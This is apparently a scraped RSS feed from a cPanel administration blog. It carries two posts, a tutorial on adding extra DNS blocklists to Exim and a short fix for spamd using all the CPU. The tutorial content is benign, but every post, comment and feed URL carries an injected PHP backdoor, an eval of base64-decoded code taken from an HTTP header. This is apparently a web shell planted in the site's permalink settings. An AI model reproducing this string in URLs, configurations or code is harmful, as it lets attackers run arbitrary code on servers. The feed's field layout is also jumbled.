cPanelConfig - cPanel server configuration guide » spam http://www.cpanelconfig.com The complete guide to setup and manage a cPanel based server Fri, 17 Jul 2009 11:15:39 +0000 http://wordpress.org/?v=2.8 en hourly 1 Adding a new RBL to cPanel Exim http://www.cpanelconfig.com/2008/12/04/adding-a-new-rbl-to-cpanel-exim/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2008/12/04/adding-a-new-rbl-to-cpanel-exim/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 04 Dec 2008 21:44:18 +0000 yolau http://www.cpanelconfig.com/?p=93
More then a year ago, cPanel added a future to the Exim Configuration Editor for everyone to easily select from two RBLs (spamhaus.org and spamcop.net) that can be used to filter most of the SPAM that a server receives. While this has been great for most of us (enabling a RBL is a simple as selecting a check box in WHM and pressing the Save button), there are a few admins that would have liked to add additional RBLs to the list that Exim uses to filter SPAM emails. RBLs like dnsbl.njabl.org, list.dsbl.org, dul.dnsbl.sorbs.net, etc. are all considered useful by many, but not included by default.

The question is how can such a RBL be added to Exim ?
Well it’s not that hard !
First you will have to login to your server using ssh.
After a successful login:

  1. Change directory to /usr/local/cpanel/etc/exim/acls/ACL_RBL_BLOCK

    2. cd /usr/local/cpanel/etc/exim/acls/ACL_RBL_BLOCK

  2. Make a copy of of spamcop_rbl and name it with the new rbl name that will be used. For exemple

    3. cp spamcop_rbl njabl_rbl

  3. Open the newly created file

    4. nano njabl_rbl

  4. Change the two “dnslists” entries to the address of the new RBL. For example the new file should look something like this for dnsbl.njabl.org

    5. root@server [/usr/local/cpanel/etc/exim/acls/ACL_RBL_BLOCK]# cat njabl_rbl

    deny message = JunkMail rejected – $sender_fullhost is in an RBL, see $dnslist_text
    dnslists = dnsbl.njabl.org
    hosts = +backupmx_hosts

    warn
    dnslists = dnsbl.njabl.org
    set acl_m8 = 1
    set acl_m9 = “JunkMail rejected – $sender_fullhost is in an RBL, see $dnslist_text”
    [% ACL_RBL_WHITELIST %]

    warn
    condition = ${if eq {${acl_m8}}{1}{1}{0}}
    ratelimit = 0 / 1h / strict / per_conn
    log_message = “Increment Connection Ratelimit – $sender_fullhost because of RBL match”

    drop
    condition = ${if eq {${acl_m8}}{1}{1}{0}}
    message = ${acl_m9}

  5. Save the file
  6. Run

    7. /scripts/buildeximconf

That’s it you should now have the RBL added to your Exim mail server. You can off curse add as many RBLs as you like but please keep in mind that too many of them will increase the chances of false positives and can increase the general load on the server.

If you have any questions don’t hesitate to leave a comment!

]]> http://www.cpanelconfig.com/2008/12/04/adding-a-new-rbl-to-cpanel-exim/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 6 SpamAssasin (spamd) using 100% CPU ? http://www.cpanelconfig.com/2008/03/19/spamassasin-spamd-using-100-cpu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2008/03/19/spamassasin-spamd-using-100-cpu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 19 Mar 2008 22:00:39 +0000 yolau http://www.cpanelconfig.com/how-to/spamassasin-spamd-using-100-cpu/ Hello,

I just investigated a cpanel server that was showing two spamd processes that were using 100% of CPU time.
In case you see a similar problem on your server there is an easy fix released by cPanel, but before we go there please note that this is not a cPanel issue, but it’s a SpamAssasin issue (bug) that is promised to be fixed in version 3.2.4

Until then you should run as root the fallowing command:

/scripts/autorepair spamd_dbm_fix

Hope it helps !

]]> http://www.cpanelconfig.com/2008/03/19/spamassasin-spamd-using-100-cpu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 4